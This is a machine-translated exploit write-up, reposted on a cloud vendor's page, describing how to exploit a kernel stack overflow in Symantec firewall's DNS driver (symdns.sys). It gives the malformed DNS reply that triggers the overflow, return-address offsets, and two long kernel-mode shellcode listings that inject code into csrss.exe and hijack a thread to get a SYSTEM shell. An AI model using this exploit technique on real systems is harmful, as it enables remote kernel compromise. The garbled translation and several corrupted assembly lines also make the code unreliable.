[Analysis] Symantec Firewall Kernel stack overflow vulnerability exploitation method summary

Source: Internet
Author: User
Tags network function
Summary of Symantec Firewall kernel Stack Overflow Vulnerability

Creation Time:
Article attributes: original
Article submission: sobeit (kinsephi_at_hotmail.com)

Summary of Symantec Firewall kernel Stack Overflow Vulnerability

Sobeit
According to the report of the flashsky summit, I analyzed the vulnerability and wrote two essays. Due to the rush of writing, there may inevitably be many mistakes. I suggest you summarize them, for future reference, I summarized the two articles and made some modifications.

Unlike most stack overflow vulnerabilities, this vulnerability occurs in kernel mode. Stack Overflow occurs in the driver symdns of Symantec firewall. in sys, when a DNS response is processed, because the total domain name length is not verified, you can enter a domain name that is too long to cause overflow. overflow occurs in ring0, IRQL = 2 (dispatch_level) process PID is 0 (idle process) environment.

The format of a DNS message is as follows:
"/Xeb/x0b" // Message ID, which can be set at will, but it is not useful in this vulnerability.
"/X80/x00" // packet flag. Location 15: 1 indicates that this is a reply packet.
"/X00/x01" // number of problems
"/X00/x01" // number of replies
"/XXX" // number of authorized resource records, which is not important here.
"/XXX" // number of exceptional information resource records, which is not important here.
The above part is the DNS packet header
"/XXX/X..." // domain name, in the format of each segment Domain Name Length + domain name content, for example, www.buaa.edu.cn is
/X03/x77/x77/x77/x04/x62/x75/x61/x61/x03/X65/x64/x75/x02/x63/x6e/x00
W B U A E d u C n
/X00 indicates the end. During processing, the number of records with the length is changed to 0x2e, which is "..", and the processing is completed.

In symdns. in sys, the function for processing incoming domain names is located in symdns. sys base address + 0xa76. This function allocates 0x214 bytes in the stack and then imports the domain name. Although the total length is calculated and the limit is imposed, the calculation is incorrect, the calculation is also a whitelist, resulting in stack overflow when a super-long domain name can be entered. Each segment of the incoming domain name has a maximum length limit of 0x40 bytes. Therefore, the shellcode length of each segment is 0 x 3f (63) bytes. After covering 532 bytes, it overwrites the return address of the function. This vulnerability is characterized by the second processing of incoming domain names in the stack, resulting in the second half of the shellcode before the returned address in the stack being completely invisible. There are two methods to execute shellcode:

First, the address of our entire DNS packet (including the DNS packet header) is stored in the ESP + 0xc where the returned address we overwrite is located. It is an address in a non-Paging pool,

74816d74 4c816c9b 816d002e 816c9e34
| _____ ESP points to this | _______ this is the address of the non-Paging pool.

Now, do you know what to do? Although there is no fixed address in the kernel such as JMP [esp + 0xc] and call [esp + 0xc], we can change it, using command combinations such as POP/ret, the control of the machine is handed over to us. However, it is best not to include pop EBP in these three pop commands, otherwise it will return a strange address inexplicably. There are two combinations of POP/RET at the end of the strstr function. Now, do you understand the role of the Message ID at the beginning? /Xeb/x0b is a direct jump machine command that skips unused DNS headers and the length of the first segment of shellcode to count bytes. Flashsky said in the Journal that it would skip the length of the count byte, but the instruction corresponding to 0x3f is AAS, which adjusted the eax ASCII, therefore, this 0x3f can be counted as part of shellcode without affecting eax and flag, saving a lot of bytes _ ^.

Second, execute shellcode at ESP + 0x8 of the returned address overwritten in the stack. The shellcode function after the returned address will not be processed. However, if shellcode is too long, it will overwrite some information about DPC scheduling. A work und is to first jump back to the unmodified part of the shellcode before the return address. It can be executed in close to 200 bytes and then to the shellcode part after the return address, in this way, the space should be sufficient. However, because 0x3f at the beginning of each segment of shellcode in the stack has been replaced with 0x2e, and 0x2e does not correspond to the machine code separately, you can only change it to/xeb/x01 to skip 0x2e at the end of each shellcode segment.

In the secure return method, because the return address of the function behind the stack needs to be taken out, it cannot overwrite much. The first method can only be used to execute shellcdoe in the pool, the kernel state shellcode of the secure return method is about 230 bytes, And the pool contains about 310 bytes. In the unsafe return method, because the stack location of key data such as DPC scheduling and locked resources is relatively large from the overflow point, it can be executed in the stack.

Security Return Method

The current environment is a process no. 0. to switch the process address space to another process, you must first obtain the eprocess address of the process. Process 0 is very special, that is, the process is basically not mounted on the linked list of all processes, such as activeprocesslinks, sessionprocesslinks, workingsetexpansionlinks, normally, only the waitlisthead of a thread can be enumerated to enumerate all threads and judge the process. This is very troublesome and the code is very long, but there is no way to go, in kpcr + 0x55c (+ 55c struct _ kthread * npxthread), The ETHREAD address of a thread of the No. 8 process is stored. ETHREAD + 0x44 can obtain the eprocess address of the thread, in addition, process 8 is mounted on a linked list other than sessionprocesslinks, so now we can get the eprocess address of other processes. The next step is to switch the process address space, obtain the physical address of the Process page directory from the target process eprocess + 0x18 and modify the current audit register to this value (I also modified the audit information in the ktss at the beginning as well this value, it is not necessary ). Then select a proper thread in the process to run our user-state shellcode. This option is very important because IRQL = 2, any address that accesses the missing page will cause the irql_not_less_or_equal blue screen error, because the missing page will lead to page I/O, and will finally wait on the object, this violates rules that cannot wait for objects in IRQL = 2. The operating system follows a standard five-state scheduling model. When a thread waits for a long time, the kernel stack of the thread will be swapped out of the memory. Such a thread cannot be used. Therefore, we need to determine whether ETHREAD + = 0x11e (+ 11E byte kernelstackresident) is true. If it is true, the thread Kernel stack is not swapped out of memory. This is also related to the system process to be selected. The shell returned by the system process is the system permission, and the process must be an active process, in order to ensure that there are threads Not swapped out of memory at all times. Winlogon.exe is definitely not good, because in most cases it is a idle process with zero working sets. In the 3 steps of lsass.exe+smss.exe%csrss.exe, I chose csrss.exe most, because I think the Win32 subsystem should be idle anyway. It turns out that the process can basically find the proper thread. The thread that enumerates a process can take the chain table header at eprocess + 0x50. The chain table links all the threads of the process, and the chain table is located at ETHREAD + 0x1a4:

Struct _ eprocess (sizeof = 648)
+ 000 struct _ kprocess PCB
+ 050 struct _ list_entry threadlisthead
+ 050 struct _ list_entry * flink
+ 054 struct _ list_entry * blink

Struct _ ETHREAD (sizeof = 584)
+ 000 struct _ kthread TCB
+ 1a4 struct _ list_entry threadlistentry
+ 1a4 struct _ list_entry * flink
+ 1a8 struct _ list_entry * blink
Or eprocess + 0x270, and the chain table is located at ETHREAD + 0x240:
Struct _ eprocess (sizeof = 648)
+ 270 struct _ list_entry threadlisthead
+ 270 struct _ list_entry * flink
+ 274 struct _ list_entry * blink

Struct _ ETHREAD (sizeof = 584)
+ 240 struct _ list_entry threadlistentry
+ 240 struct _ list_entry * flink
+ 244 struct _ list_entry * blink

The rest is to allocate a virtual address in the address space of the Process, lock the address, and copy the shellcode in the past. In turn, call the API zwopenprocess (note here, if you do not change the call to, this will lead to a blue screen because the address space does not match.)-> zwallocatevirtualmemory-> zwlockvirtualmemory-> zwwritevirtualmemory. For versatility, I use mov eax and API number; the underlying interface such as int 2E to call the API. Before calling zwwritevirtualmemory, We must modify the EIP to be executed next time by this thread. It is saved at ktrap_frame + 0x68 and changed to the allocated address. Ktrap_frame points to the address directly at the InitialStack-x29c at the bottom of the thread stack. Remember to save the original EIP in our user-state shellcode, similar to push 0x12345678; RET format, the code will return the 12345678 address, therefore, in the memory, it is/x68/x78/x56/x34/X12/xc3. You can overwrite the original return address by 12345678, after executing our function code, the thread will resume normal execution.

The last section is fixed features returned for this vulnerability, mainly to retrieve unoverwritten return addresses and restore EBP to normal, set specific register values to meet the returned detection conditions. Here I skipped all the remaining calls in symdns. sys, because those functions will all take values from the stack, and many of the stack values have been changed, so I will directly return to TCPIP! Udpdeliver has the advantage of returning a udpdeliver, that is, no matter what you are dealing with or how to handle it, it only checks whether the returned eax value is 0, which is in line with our requirements.

This shellcode only has a 3/4 success rate, because in some cases, the address of our DNS packet is not appended to ESP + 0xc, and sometimes all threads of the process are swapped out of the memory, there is also a small probability that the NDIS deadlock will occur-_-sometimes there is no problem for a day when the RP bursts, sometimes the Virtual Machine crazy blue screen .... The biggest problem with kernel overflow is probably page missing. as IRQL = 2 cannot be used for page replacement, it is likely that some key areas cannot be accessed in some cases. Some workarounds such as work item can be used, which can be called under IRQL = 2 and then completed by the system worker thread for us. These are all ideas for improvement.

Shellcode is composed of the kernel shellcode and the user shellcode. The kernel shellcode is responsible for returning and executing the user shellcode. The user shellcode is a common function. You must add the firewall-based code. The following is the kernel shellcode Code, which does not provide complete shellcode, because first, it is only for technical research, but not to be used by people who do not know nothing about the technology but only want to destroy it. The machine code to be converted is only 230 bytes long. It is not too large :):

_ Declspec (naked) justtest ()
{
_ ASM
{
Call go1
Go1:
Pop eax
Push eax
MoV EBX, 0xffdff55c
MoV EBX, dword ptr [EBX]
MoV EBX, dword ptr [EBX + 0x44]

Push 0x73727363
Findprocess:
MoV EDI, ESP
Lea ESI, dword ptr [EBX + 0x1fc]
Push 0x4
Pop ECx
Repe cmpsb
Jecxz go2
MoV EBX, dword ptr [EBX + 0xa0]
Sub EBX, 0xa0
JMP findprocess
Go2:
Pop edX
MoV edX, dword ptr [EBX + 0x50]
Findthread:
Movzx ECx, byte PTR [edx-0x86]
Dec ECx
Jecxz go3
MoV edX, dword ptr [edX]
JMP findthread
Go3:
MoV eax, dword ptr [EBX + 0x18]
MoV EBP, ESP
Sub ESP, 0x40
Push edX
MoV 3, eax

Push 0x10
Pop ECx
XOR eax, eax
Lea EDI, dword ptr [ebp-0x40]
Zerostack:
Stosd
Loop zerostack
MoV byte PTR [ebp-0x38], 0x18
Lea EDI, dword ptr [edX + 0x3c]
Push EDI
Lea EDI, dword ptr [ebp-0x38]
Push EDI
Lea EDI, dword ptr [ebp-0x8]
Push 0x1f0fff
Push EDI

MoV Al, 0x6a
Lea edX, dword ptr [esp]
Int 0x2e
Add ESP, 0x10

MoV byte PTR [ebp-0x3], 0x2
Push 0x40
Push 0x1000
Lea EDI, dword ptr [ebp-0x4]
Push EDI
Push eax
Lea EDI, dword ptr [ebp-0xc]
Push EDI
Push dword ptr [ebp-0x8]

MoV Al, 0x10
Lea edX, dword ptr [esp]
Int 0x2e
Add ESP, 0x18

Push 0x2
Lea EBX, dword ptr [ebp-0x4]
Push EBX
Lea EBX, dword ptr [ebp-0xc]
Push EBX
Push dword ptr [ebp-0x8]

MoV Al, 0x59
Lea edX, dword ptr [esp]
Int 0x2e
Add ESP, 0x10

MoV EDI, dword ptr [EBP]
Pop edX
MoV edX, dword ptr [edx-0x7c]
Push dword ptr [edX + 0x68]
Pop dword ptr [EDI + 0x210]
Push dword ptr [ebp-0xc]
Pop dword ptr [edX + 0x68]
Add EDI, 0x11c

Push eax
Push 0x120
Push EDI
Push dword ptr [ebp-0xc]
Push dword ptr [ebp-0x8]

MoV Al, 0xf0
Lea edX, dword ptr [esp]
Int 0x2e

Add ESP, 0x100
XOR eax, eax
MoV ESI, dword ptr [esp + 0x38]
MoV EBP, ESP
Add EBP, 0x88
RET 0x2c
}
}

Unsafe return method 2

Non-secure return method 1 is not implemented, because the technical points in it are included in the security return method and non-secure return method 2, and the restrictions are too large and unpleasant. This is the content of the bat download file. For more information, see related articles.

As flashsky said, the key to the unsafe return method 2 is to restore the DPC. Unlike the secure return method, we do not have to worry about thread switching and DPC scheduling. However, flashsky exaggerated the destruction of the DPC, especially the environment switch. Even in the secure return method, when executing our code, the system also performs environment switching and DPC scheduling several times (in int 0x2e ). Let's take a look at how a DPC scheduling is completed. The following section describes the DPC scheduling in the kpcr structure:

+ 7e0 uint32 dpcinterruptrequested
+ 7e4 void * chainedinterruptlist
+ 7e8 int32 ucachepad3 [2]
+ 7f0 uint32 maximumdpcqueuedepth
+ 7f4 uint32 minimumdpcrate
+ 7f8 uint32 cachepad4 [2]
+ 800 struct _ list_entry dpclisthead
+ 800 struct _ list_entry * flink
+ 804 struct _ list_entry * blink
+ 808 uint32 dpcqueuedepth
+ 80C uint32 dpcroutineactive
+ 810 uint32 dpccount
+ 814 uint32 dpclastcount
+ 818 uint32 dpcrequestrate
+ 81C void * dpcstack

There are two ways to deal with DPC, one is to put the kdpc object string on dpclisthead. In kiidleloop or kidispatchinterrupt, the system detects that the current DPC linked list is not empty. Therefore, the system calls kiretiredpclist and kiretiredpclist to set the current dpcroutineactive status to true (M $ here associates the ESP Value, obviously, ESP is greater than 0 at any time) and dpcinterruptrequested is set to true. Then, the DPC routine entry and parameters of the kdpc structure on the linked list are retrieved from dpclisthead. After processing, restore the original state and add dpccount to the original state. Another method is to wait for the ktimer scheduling object. The frequency of DPC scheduling is quite high, but most of the time is to process the timer ktimer expired DPC, many dpcs are processed in kitimerexpiration-> kitimerlistexpire by waiting for the ktimer method. Overflow here is the first method. We are in DPC scheduling, and both dpcroutineactive and dpcinterruptrequested are true. After stack rollback, we will find that kiretiredpclist is called by kiidleloop. Obviously, the two members must restore the original 0 value (in fact, it is okay not to recover it. In the first int 0x2e, if DPC scheduling occurs, it will help us recover it, but it will reduce the overflow success rate, because if the DPC scheduling system has not occurred before the int 0x2e attach process, the screen will be displayed ). In fact, some blue screens in the system intentionally call kebugcheck to prevent you from doing something. If you handle these things well, it will not affect the system, for example, the environment cannot be switched when the DPC processing is active (that is, the value of dpcroutineactive is true), but in this vulnerability overflow, the first step is to switch the environment :). So breaking through the system's martyrdom to complete the system's own functions is why we are interested in the kernel. It's really nice to be able to control the entire operating system. There is a skill in restoring DPC. Since the last call to kiidleloop was kiretiredpclist, The kernelstack (ETHREAD + 0x28) of the idle thread) the content must point to the next instruction after kiretiredpclist is called in kiidleloop:

Call nt! Kiretiredpclist
Cmp dword ptr [EBX + 0x128], 0x0

If the environment is not changed, the system will resume the operation. The next step is to determine whether the linked list represented by dpclisthead stored in EBP is empty, however, after an environment switchover EBP value has been changed to the ktss value, an error will certainly occur after switching to the idle thread. Therefore, we need to manually operate on this address (the next command after kiretiredpclist is called) and add 0x2d to make it the next command after swapcontext is called:

Call nt! Swapcontext
Lea EBP, [EBX + 0x800]

Obviously, the EBP has been restored, and the DPC scheduling can continue.

We have two options to restore the DPC. One is to skip the current DPC, and the other is to re-Add the current DPC (here ndismdpc) to the DPC linked list header to prepare for next rescheduling. The advantage of the previous method is convenience, which saves a lot of code and is also the method I use. However, there is a small problem, that is, it is impossible to ping again, which will lead to the illusion that the network has been interrupted, in fact, the network is connected, and the shell also gets it. In the second method, although the network function is normal, some exceptions may occur on the remote machine. For example, the Start menu cannot be reused. Of course, shell is also normal. The two methods have the same thing in common: they must unlock the ndis_miniport_block structure that was previously locked. The structure address is stored in a place with a large distance from the overflow point in the idle thread stack, so it can be safely obtained.

The next step is to switch the environment. The thread to be switched is the thread Not swapped out of the kernel stack in the target privileged process. Assign the thread to be switched to kpcr + 0x124, and assign the next thread (idle thread) to kpcr + 0x128, change the idle thread status (ETHREAD + 02d byte State) to standby (0x3 ). Then, you can change the address of the switching process to be null, modify the Teb descriptor to point to the new thread Teb, and extract the kernelstack from the target thread to assign it to the current esp. Remember, from this point on, we are already in the stack of the new thread. If you have any important information in the stack of the idle thread, please exit the stack before switching the ESP. Another important thing is that, because we force a thread in the waiting state to switch the environment and run it (to find the thread in the ready state and belongs to the target privileged process, it is too much to test the RP, the probability is faster than that of the preceding statement.) You must wait for the kiwaitinlisthead linked list to remove the thread (here we will talk about the difference between kiwaitinlisthead and kiwaitoutlisthead, the former is a thread linked list in the waiting state and the kernel stack has not been swapped out, while the latter is a thread linked list in the waiting state and the kernel stack has been swapped out ), otherwise, an endless loop will occur at the kioutswapkernelstack. Finally, it is directly returned to the kiswapcontext (this is stored in the stack during the last Environment switch of the thread), and the system will take over the work (what needs to be proposed here is, in fact, since the idle thread was assigned to kpcr + 0x128 and changed to standby, it was scheduled to run as early as the first int 0x2e ).

At the beginning, the shellcode structure was to first complete other functions and then switch the environment. The result encountered a very strange problem. In windbg, if the int 0x2e of zwlockvirtualmemory is followed by another g in a single step, or if an int 0x3 is set at any place after the int 0x2 E, and then G is disconnected, the system will all be normal, however, if the system directly fails to break a breakpoint on G or simply before, the system will have a strange problem. I guess windbg has completed some DPC calls. I tried to solve this problem and got depressed n times, mainly because the system was normal with the intervention of windbg. Later I thought that the kernel stack of the idle thread was used in the previous environment switching and DPC scheduling, and then I directly changed back to the normal value (the kernelstack of the idle, at ETHREAD + 0x28, it is a constant value. If it is not modified, the system will return an error address after scheduling.) it is estimated that the problem occurs here, so I changed the shellcode structure before and after, environment switchover is performed before other functions are completed, so that idle's kernel stack is no longer intervened. This turns out to be correct: My environment switching code is a streamlined swapcontext version, all codes that are dispensable are removed. For example, the Code for modifying some members that are not used in kpcr is removed, and even the thread status is not changed. The Code remains in the waiting state, in any case, normal system environment switching does not detect the status of running threads.

The following is the shellcode code of the kernel, which is about 320 bytes into the machine code. If the second method is used to restore the DPC, it is about 350 bytes. This code is executed in the pool. When you execute it in the stack, remember to correct the stack offset address:

_ Declspec (naked) justtest2 ()
{
_ ASM
{
Call go1
Go1:
Pop eax
Push eax
MoV EBP, 0xffdff80c
MoV EBX, dword ptr [ebp-0x2b0]
MoV EBX, dword ptr [EBX + 0x44]
XOR eax, eax

Push 0x73727363
Findprocess:
MoV EDI, ESP
Lea ESI, dword ptr [EBX + 0x1fc]
Push 0x4
Pop ECx
Repe cmpsb
Jecxz go2
MoV EBX, dword ptr [EBX + 0xa0]
Sub EBX, 0xa0
JMP findprocess
Go2:
Pop edX
MoV dword ptr [EBP], eax
MoV ESI, dword ptr [esp + 0x33c]
MoV byte PTR [ESI + 0x2d], Al

Lea ESI, dword ptr [EBX + 0x50]
Findthread:
MoV ESI, dword ptr [esi]
Test byte PTR [esi-0x86], 0x1
Jnz go3
JMP findthread
Go3:
MoV edX, dword ptr [EBX + 0x18]
Sub ESI, 0x1a4

MoV EBX, 0xffdff000
// Lea ECx, dword ptr [ebp-0xc]
MoV EBP, dword ptr [EBX + 0x124]
MoV dword ptr [EBX + 0x128], EBP
INC byte PTR [EBP + 0x2d]
MoV EDI, dword ptr [EBP + 0x28]
Add dword ptr [EDI + 0x8], 0x2d
// Mov EBP, dword ptr [edi-0x8]
// Add EBP, 0x4
// Mov EDI, dword ptr [ECx]
// Mov dword ptr [EDI], EBP
// Mov dword ptr [EBP + 4], EDI
// Mov dword ptr [ECx], EBP

MoV dword ptr [EBX + 0x124], ESI
MoV Cl, byte PTR [ESI + 0x2c]
MoV byte PTR [EBX + 0x50], Cl
MoV EBP, dword ptr [ESI + 0x5c]
MoV EDI, dword ptr [ESI + 0x60]
MoV dword ptr [EDI], EBP
MoV dword ptr [EBP + 0x4], EDI
Pop EDI
Push dword ptr [ESI + 0x1c]
Pop dword ptr [EBX + 0x8]
MoV ESP, dword ptr [ESI + 0x28]
MoV ECx, dword ptr [ESI + 0x20]
MoV dword ptr [EBX + 0x18], ECx
MoV EBP, dword ptr [EBX + 0x3c]
MoV word PTR [EBP + 0x3a], CX
SHR ECx, 0x10
MoV byte PTR [EBP + 0x3c], Cl
SHR ECx, 0x8
MoV byte PTR [EBP + 0x3f], Cl
MoV EBP, dword ptr [EBX + 0x40]
MoV dword ptr [EBP + 0x1c], EDX
MoV 3305, EDX
Push EDI
MoV EBP, ESP
Sub ESP, 0x40
Push EBX
Push ESI

Push 0x10
Pop ECx
Lea EDI, dword ptr [ebp-0x40]
Zerostack:
Stosd
Loop zerostack
MoV byte PTR [ebp-0x38], 0x18
Lea EDI, dword ptr [ESI + 0x1e0]
Push EDI
Lea EDI, dword ptr [ebp-0x38]
Push EDI
Lea EDI, dword ptr [ebp-0x8]
Push 0x1f0fff
Push EDI

MoV Al, 0x6a
Lea edX, dword ptr [esp]
Int 0x2e
Add ESP, 0x10
MoV byte PTR [ebp-0x3], 0x2
Push 0x40
Push 0x1000
Lea EDI, dword ptr [ebp-0x4]
Push EDI
Push eax
Lea EDI, dword ptr [ebp-0xc]
Push EDI
Push dword ptr [ebp-0x8]

MoV Al, 0x10
Lea edX, dword ptr [esp]
Int 0x2e
Add ESP, 0x18

Push 0x2
Lea EBX, dword ptr [ebp-0x4]
Push EBX
Lea EBX, dword ptr [ebp-0xc]
Push EBX
Push dword ptr [ebp-0x8]

MoV Al, 0x59
Lea edX, dword ptr [esp]
Int 0x2e
Add ESP, 0x10
MoV EDI, dword ptr [EBP]
Pop edX
MoV edX, dword ptr [edX + 0x128]
Push dword ptr [edX + 0x68]
Pop dword ptr [EDI + 0x1a0]
Push dword ptr [ebp-0xc]
Pop dword ptr [edX + 0x68]
Add EDI, 0x19a

Push eax
Push 0x120
Push EDI
Push dword ptr [ebp-0xc]
Push dword ptr [ebp-0x8]

MoV Al, 0xf0
Lea edX, dword ptr [esp]
Int 0x2e

MoV EBX, dword ptr [esp + 0x14]
Add ESP, 0x5c
Pop ECx
MoV dword ptr [EBX], ECx
Popfd
RET
}
}

// The code is used for the second DPC recovery.

Postscript:

Kernel overflow is a brand new field. There are many things worth exploring. This article serves as an example. If it can help you, you can achieve your goal. There are many shortcomings in many places, especially the non-secure return method, which has not yet been found to completely restore the system to its original state. If you have any mistakes or problems that can be improved, please submit them to me.

QQ: 27324838
Email: kinvis@hotmail.com

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.